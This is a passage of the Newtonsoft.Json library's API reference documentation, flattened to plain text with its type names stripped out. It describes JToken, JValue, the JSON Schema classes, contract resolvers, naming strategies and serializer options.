value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from [] to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Creates a for this token. A that can be used to read this token and its descendants. Creates a from an object. The object that will be used to create . A with the value of the specified object. Creates a from an object using the specified . The object that will be used to create . The that will be used when reading the object. A with the value of the specified object. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A , or null. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. A . Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. The used to select tokens. A . Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. The used to select tokens. An of that contains the selected elements. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Creates a new instance of the . All child tokens are recursively cloned. A new instance of the . Adds an object to the annotation list of this . The annotation to add. Get the first annotation object of the specified type from this . The type of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets the first annotation object of the specified type from this . The of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets a collection of annotations of the specified type for this . The type of the annotations to retrieve. An that contains the annotations for this . Gets a collection of annotations of the specified type for this . The of the annotations to retrieve. An of that contains the annotations that match the specified type for this . Removes the annotations of the specified type from this . The type of annotations to remove. Removes the annotations of the specified type from this . The of annotations to remove. Compares tokens to determine whether they are equal. Determines whether the specified objects are equal. The first object of type to compare. The second object of type to compare. true if the specified objects are equal; otherwise, false. Returns a hash code for the specified object. The for which a hash code is to be returned. A hash code for the specified object. The type of is a reference type and is null. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Gets the at the reader's current position. Initializes a new instance of the class. The token to read from. Initializes a new instance of the class. The token to read from. The initial path of the token. It is prepended to the returned . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Gets the path of the current JSON token. Specifies the type of token. No token type has been set. A JSON object. A JSON array. A JSON constructor. A JSON object property. A comment. An integer value. A float value. A string value. A boolean value. A null value. An undefined value. A date value. A raw JSON value. A collection of bytes value. A Guid value. A Uri value. A TimeSpan value. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets the at the writer's current position. Gets the token being written. The token being written. Initializes a new instance of the class writing to the given . The container being written to. Initializes a new instance of the class. Flushes whatever is in the buffer to the underlying . Closes this writer. If is set to true, the JSON is auto-completed. Setting to true has no additional effect, since the underlying is a type that cannot be closed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end. The token. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes a value. An error will be raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Represents a value in JSON (string, integer, date, etc). Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Creates a comment with the given value. The value. A comment with the given value. Creates a string with the given value. The value. A string with the given value. Creates a null value. A null value. Creates a undefined value. A undefined value. Gets the node type for this . The type. Gets or sets the underlying token value. The underlying token value. Writes this token to a . A into which this method will write. A collection of s which will be used when writing the token. Indicates whether the current object is equal to another object of the same type. true if the current object is equal to the parameter; otherwise, false. An object to compare with this object. Determines whether the specified is equal to the current . The to compare with the current . true if the specified is equal to the current ; otherwise, false. Serves as a hash function for a particular type. A hash code for the current . Returns a that represents this instance. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . A that represents this instance. Returns a that represents this instance. The format. A that represents this instance. Returns a that represents this instance. The format provider. A that represents this instance. Returns a that represents this instance. The format. The format provider. A that represents this instance. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. An object to compare with this instance. A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance is less than . Zero This instance is equal to . Greater than zero This instance is greater than . is not of the same type as this instance. Specifies how line information is handled when loading JSON. Ignore line information. Load line information. Specifies how JSON arrays are merged together. Concatenate arrays. Union arrays, skipping items that already exist. Replace all array items. Merge array items together, matched by index. Specifies how null value properties are merged. The content's null value properties will be ignored during merging. The content's null value properties will be merged. Specifies the member serialization options for the . All public members are serialized by default. Members can be excluded using or . This is the default member serialization mode. Only members marked with or are serialized. This member serialization mode can also be set by marking the class with . All public and private fields are serialized. Members can be excluded using or . This member serialization mode can also be set by marking the class with and setting IgnoreSerializableAttribute on to false. Specifies metadata property handling options for the . Read metadata properties located at the start of a JSON object. Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. Do not try to read metadata properties. Specifies missing member handling options for the . Ignore a missing member and do not attempt to deserialize it. Throw a when a missing member is encountered during deserialization. Specifies null value handling options for the . Include null values when serializing and deserializing objects. Ignore null values when serializing and deserializing objects. Specifies how object creation is handled by the . Reuse existing objects, create new objects when needed. Only reuse existing objects. Always create new objects. Specifies reference handling options for the . Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . Do not preserve references when serializing types. Preserve references when serializing into a JSON object structure. Preserve references when serializing into a JSON array structure. Preserve references when serializing. Specifies reference loop handling options for the . Throw a when a loop is encountered. Ignore loop references and do not serialize. Serialize loop references. Indicating whether a property is required. The property is not required. The default state. The property must be defined in JSON but can be a null value. The property must be defined in JSON and cannot be a null value. The property is not required but it cannot be a null value. Contains the JSON schema extension methods. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. true if the specified is valid; otherwise, false. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. When this method returns, contains any error messages generated while validating. true if the specified is valid; otherwise, false. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. The validation event handler. An in-memory representation of a JSON Schema. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the id. Gets or sets the title. Gets or sets whether the object is required. Gets or sets whether the object is read-only. Gets or sets whether the object is visible to users. Gets or sets whether the object is transient. Gets or sets the description of the object. Gets or sets the types of values allowed by the object. The type. Gets or sets the pattern. The pattern. Gets or sets the minimum length. The minimum length. Gets or sets the maximum length. The maximum length. Gets or sets a number that the value should be divisible by. A number that the value should be divisible by. Gets or sets the minimum. The minimum. Gets or sets the maximum. The maximum. Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). A flag indicating whether the value can not equal the number defined by the minimum attribute (). Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). A flag indicating whether the value can not equal the number defined by the maximum attribute (). Gets or sets the minimum number of items. The minimum number of items. Gets or sets the maximum number of items. The maximum number of items. Gets or sets the of items. The of items. Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . true if items are validated using their array position; otherwise, false. Gets or sets the of additional items. The of additional items. Gets or sets a value indicating whether additional items are allowed. true if additional items are allowed; otherwise, false. Gets or sets whether the array items must be unique. Gets or sets the of properties. The of properties. Gets or sets the of additional properties. The of additional properties. Gets or sets the pattern properties. The pattern properties. Gets or sets a value indicating whether additional properties are allowed. true if additional properties are allowed; otherwise, false. Gets or sets the required property if this property is present. The required property if this property is present. Gets or sets the a collection of valid enum values allowed. A collection of valid enum values allowed. Gets or sets disallowed types. The disallowed types. Gets or sets the default value. The default value. Gets or sets the collection of that this schema extends. The collection of that this schema extends. Gets or sets the format. The format. Initializes a new instance of the class. Reads a from the specified . The containing the JSON Schema to read. The object representing the JSON Schema. Reads a from the specified . The containing the JSON Schema to read. The to use when resolving schema references. The object representing the JSON Schema. Load a from a string that contains JSON Schema. A that contains JSON Schema. A populated from the string that contains JSON Schema. Load a from a string that contains JSON Schema using the specified . A that contains JSON Schema. The resolver. A populated from the string that contains JSON Schema. Writes this schema to a . A into which this method will write. Writes this schema to a using the specified . A into which this method will write. The resolver used. Returns a that represents the current . A that represents the current . Returns detailed information about the schema exception. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Generates a from a specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets how undefined schemas are handled by the serializer. Gets or sets the contract resolver. The contract resolver. Generate a from the specified type. The type to generate a from. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. A generated from the specified type. Generate a from the specified type. The type to generate a from. Specify whether the generated root will be nullable. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. Specify whether the generated root will be nullable. A generated from the specified type. Resolves from an id. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the loaded schemas. The loaded schemas. Initializes a new instance of the class. Gets a for the specified reference. The id. A for the specified reference. The value types allowed by the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. No type specified. String type. Float type. Integer type. Boolean type. Object type. Array type. Null type. Any type. Specifies undefined schema Id handling options for the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Do not infer a schema Id. Use the .NET type name as the schema Id. Use the assembly qualified .NET type name as the schema Id. Returns detailed information related to the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the associated with the validation error. The JsonSchemaException associated with the validation error. Gets the path of the JSON location where the validation error occurred. The path of the JSON location where the validation error occurred. Gets the text description corresponding to the validation error. The text description. Represents the callback method that will handle JSON schema validation events and the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Allows users to control class loading and mandate what class to load. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. A camel case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Resolves member mappings for a type, camel casing property names. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used by to resolve a for a given . Gets a value indicating whether members are being get and set using dynamic code generation. This value is determined by the runtime permissions available. true if using dynamic code generation; otherwise, false. Gets or sets a value indicating whether compiler generated members should be serialized. true if serialized compiler generated members; otherwise, false. Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. The naming strategy used to resolve how property names and dictionary keys are serialized. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Gets the serializable members for the type. The type to get serializable members for. The serializable members for the type. Creates a for the given type. Type of the object. A for the given type. Creates the constructor parameters. The constructor to create properties for. The type's member properties. Properties for the given . Creates a for the given . The matching member property. The constructor parameter. A created for the given . Resolves the default for the contract. Type of the object. The contract's default . Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Determines which contract type is created for the given type. Type of the object. A for the given type. Creates properties for the given . The type to create properties for. /// The member serialization mode for the type. Properties for the given . Creates the used by the serializer to get and set values from a member. The member. The used by the serializer to get and set values from a member. Creates a for the given . The member's parent . The member to create a for. A created for the given . Resolves the name of the property. Name of the property. Resolved name of the property. Resolves the name of the extension data. By default no changes are made to extension data names. Name of the extension data. Resolved name of the extension data. Resolves the key of the dictionary. By default is used to resolve dictionary keys. Key of the dictionary. Resolved key of the dictionary. Gets the resolved name of the property. Name of the property. Name of the property. The default naming strategy. Property names and dictionary keys are unchanged. Resolves the specified property name. The property name to resolve. The resolved property name. The default serialization binder used when resolving and loading classes from type names. Initializes a new instance of the class. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object. The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Provides information surrounding an error. Gets the error. The error. Gets the original object that caused the error. The original object that caused the error. Gets the member that caused the error. The member that caused the error. Gets the path of the JSON location where the error occurred. The path of the JSON location where the error occurred. Gets or sets a value indicating whether this is handled. true if handled; otherwise, false. Provides data for the Error event. Gets the current object the error event is being raised against. The current object the error event is being raised against. Gets the error context. The error context. Initializes a new instance of the class. The current object. The error context. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides methods to get attributes. Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Used by to resolve a for a given . Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used to resolve references when serializing and deserializing JSON by the . Resolves a reference to its object. The serialization context. The reference to resolve. The object that was resolved from the reference. Gets the reference for the specified object. The serialization context. The object to get a reference for. The reference to the object. Determines whether the specified object is referenced. The serialization context. The object to test for a reference. true if the specified object is referenced; otherwise, false. Adds a reference to the specified object. The serialization context. The reference. The object to reference. Allows users to control class loading and mandate what class to load. When implemented, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When implemented, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides methods to get and set values. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Contract details for a used by the . Gets the of the collection items. The of the collection items. Gets a value indicating whether the collection type is a multidimensional array. true if the collection type is a multidimensional array; otherwise, false. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the collection values. true if the creator has a parameter with the collection values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the default collection items . The converter. Gets or sets a value indicating whether the collection items preserve object references. true if collection items preserve object references; otherwise, false. Gets or sets the collection item reference loop handling. The reference loop handling. Gets or sets the collection item type name handling. The type name handling. Initializes a new instance of the class. The underlying type for the contract. Handles serialization callback events. The object that raised the callback event. The streaming context. Handles serialization error callback events. The object that raised the callback event. The streaming context. The error context. Sets extension data for an object during deserialization. The object to set extension data on. The extension data key. The extension data value. Gets extension data for an object during serialization. The object to set extension data on. Contract details for a used by the . Gets the underlying type for the contract. The underlying type for the contract. Gets or sets the type created during deserialization. The type created during deserialization. Gets or sets whether this type contract is serialized as a reference. Whether this type contract is serialized as a reference. Gets or sets the default for this contract. The converter. Gets the internally resolved for the contract's type. This converter is used as a fallback converter when no other converter is resolved. Setting will always override this converter. Gets or sets all methods called immediately after deserialization of the object. The methods called immediately after deserialization of the object. Gets or sets all methods called during deserialization of the object. The methods called during deserialization of the object. Gets or sets all methods called after serialization of the object graph. The methods called after serialization of the object graph. Gets or sets all methods called before serialization of the object. The methods called before serialization of the object. Gets or sets all method called when an error is thrown during the serialization of the object. The methods called when an error is thrown during the serialization of the object. Gets or sets the default creator method used to create the object. The default creator method used to create the object. Gets or sets a value indicating whether the default creator is non-public. true if the default object creator is non-public; otherwise, false. Contract details for a used by the . Gets or sets the dictionary key resolver. The dictionary key resolver. Gets the of the dictionary keys. The of the dictionary keys. Gets the of the dictionary values. The of the dictionary values. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the dictionary values. true if the creator has a parameter with the dictionary values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets the object's properties. The object's properties. Gets or sets the property name resolver. The property name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object member serialization. The member object serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets the object's properties. The object's properties. Gets a collection of instances that define the parameters used with . Gets or sets the function used to create the object. When set this function will override . This function is called with a collection of arguments which are defined by the collection. The function used to create the object. Gets or sets the extension data setter. Gets or sets the extension data getter. Gets or sets the extension data value type. Gets or sets the extension data name resolver. The extension data name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Maps a JSON property to a .NET member or constructor parameter. Gets or sets the name of the property. The name of the property. Gets or sets the type that declared this property. The type that declared this property. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets the name of the underlying member or parameter. The name of the underlying member or parameter. Gets the that will get and set the during serialization. The that will get and set the during serialization. Gets or sets the for this property. The for this property. Gets or sets the type of the property. The type of the property. Gets or sets the for the property. If set this converter takes precedence over the contract converter for the property type. The converter. Gets or sets the member converter. The member converter. Gets or sets a value indicating whether this is ignored. true if ignored; otherwise, false. Gets or sets a value indicating whether this is readable. true if readable; otherwise, false. Gets or sets a value indicating whether this is writable. true if writable; otherwise, false. Gets or sets a value indicating whether this has a member attribute. true if has a member attribute; otherwise, false. Gets the default value. The default value. Gets or sets a value indicating whether this is required. A value indicating whether this is required. Gets a value indicating whether has a value specified. Gets or sets a value indicating whether this property preserves object references. true if this instance is reference; otherwise, false. Gets or sets the property null value handling. The null value handling. Gets or sets the property default value handling. The default value handling. Gets or sets the property reference loop handling. The reference loop handling. Gets or sets the property object creation handling. The object creation handling. Gets or sets or sets the type name handling. The type name handling. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets a predicate used to determine whether the property should be deserialized. A predicate used to determine whether the property should be deserialized. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets an action used to set whether the property has been deserialized. An action used to set whether the property has been deserialized. Returns a that represents this instance. A that represents this instance. Gets or sets the converter used when serializing the property's collection items. The collection's items converter. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. A collection of objects. Initializes a new instance of the class. The type. When implemented in a derived class, extracts the key from the specified element. The element from which to extract the key. The key for the specified element. Adds a object. The property to add to the collection. Gets the closest matching object. First attempts to get an exact case match of and then a case insensitive match. Name of the property. A matching property if found. Gets a property by property name. The name of the property to get. Type property name string comparison. A matching property if found. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Lookup and create an instance of the type described by the argument. The type to create. Optional arguments to pass to an initializing constructor of the JsonConverter. If null, the default constructor is used. A kebab case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Represents a trace writer that writes to memory. When the trace message limit is reached then old trace messages will be removed as new messages are added. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Initializes a new instance of the class. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Returns an enumeration of the most recent trace messages. An enumeration of the most recent trace messages. Returns a of the most recent trace messages. A of the most recent trace messages. A base class for resolving how property names and dictionary keys are serialized. A flag indicating whether dictionary keys should be processed. Defaults to false. A flag indicating whether extension data names should be processed. Defaults to false. A flag indicating whether explicitly specified property names, e.g. a property name customized with a , should be processed. Defaults to false. Gets the serialized name for a given property name. The initial property name. A flag indicating whether the property has had a name explicitly specified. The serialized property name. Gets the serialized name for a given extension data name. The initial extension data name. The serialized extension data name. Gets the serialized key for a given dictionary key. The initial dictionary key. The serialized dictionary key. Resolves the specified property name. The property name to resolve. The resolved property name. Hash code calculation Object equality implementation Compare to another NamingStrategy Represents a method that constructs an object. The object type to create. When applied to a method, specifies that the method is called when an error occurs serializing an object. Provides methods to get attributes from a , , or . Initializes a new instance of the class. The instance to get attributes for. This parameter should be a , , or . Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Get and set values for a using reflection. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. A snake case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Specifies how strings are escaped when writing JSON text. Only control characters (e.g. newline) are escaped. All non-ASCII and control characters (e.g. newline) are escaped. HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. Specifies what messages to output for the class. Output no tracing and debugging messages. Output error-handling messages. Output warnings and error-handling messages. Output informational messages, warnings, and error-handling messages. Output all debugging and tracing messages. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. Specifies type name handling options for the . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Do not include the .NET type name when serializing types. Include the .NET type name when serializing into a JSON object structure. Include the .NET type name when serializing into a JSON array structure. Always include the .NET type name when serializing. Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON you must specify a root type object with or . Determines whether the collection is null or empty. The collection. true if the collection is null or empty; otherwise, false. Adds the elements of the specified collection to the specified generic . The list to add to. The collection of elements to add. Converts the value to the specified type. If the value is unable to be converted, the value is checked whether it assignable to the specified type. The value to convert. The culture to use when converting. The type to convert or cast the value to. The converted type. If conversion was unsuccessful, the initial value is returned if assignable to the target type. Helper method for generating a MetaObject which calls a specific method on Dynamic that returns a result Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Returns a Restrictions object which includes our current restrictions merged with a restriction limiting our type Helper class for serializing immutable collections. Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed https://github.com/JamesNK/Newtonsoft.Json/issues/652 List of primitive types which can be widened. Widening masks for primitive types above. Index of the value in this array defines a type we're widening, while the bits in mask define types it can be widened to (including itself). For example, value at index 0 defines a bool type, and it only has bit 0 set, i.e. bool values can be assigned only to bool. Checks if value of primitive type can be assigned to parameter of primitive type . Source primitive type. Target primitive type. true if source type can be widened to target type, false otherwise. Checks if a set of values with given can be used to invoke a method with specified . Method parameters. Argument types. Try to pack extra arguments into the last parameter when it is marked up with . true if method can be called with given arguments, false otherwise. Compares two sets of parameters to determine which one suits better for given argument types. Returns a best method overload for given argument . List of method candidates. Argument types. Best method overload, or null if none matched. Gets the type of the typed collection's items. The type. The type of the typed collection's items. Gets the member's underlying type. The member. The underlying type of the member. Determines whether the property is an indexed property. The property. true if the property is an indexed property; otherwise, false. Gets the member's value on the object. The member. The target object. The member's value on the object. Sets the member's value on the target object. The member. The target. The value. Determines whether the specified MemberInfo can be read. The MemberInfo to determine whether can be read. /// if set to true then allow the member to be gotten non-publicly. true if the specified MemberInfo can be read; otherwise, false. Determines whether the specified MemberInfo can be set. The MemberInfo to determine whether can be set. if set to true then allow the member to be set non-publicly. if set to true then allow the member to be set if read-only. true if the specified MemberInfo can be set; otherwise, false. Builds a string. Unlike this class lets you reuse its internal buffer. Determines whether the string is all white space. Empty string will return false. The string to test whether it is all white space. true if the string is all white space; otherwise, false. Specifies the state of the . An exception has been thrown, which has left the in an invalid state. You may call the method to put the in the Closed state. Any other method calls result in an being thrown. The method has been called. An object is being written. An array is being written. A 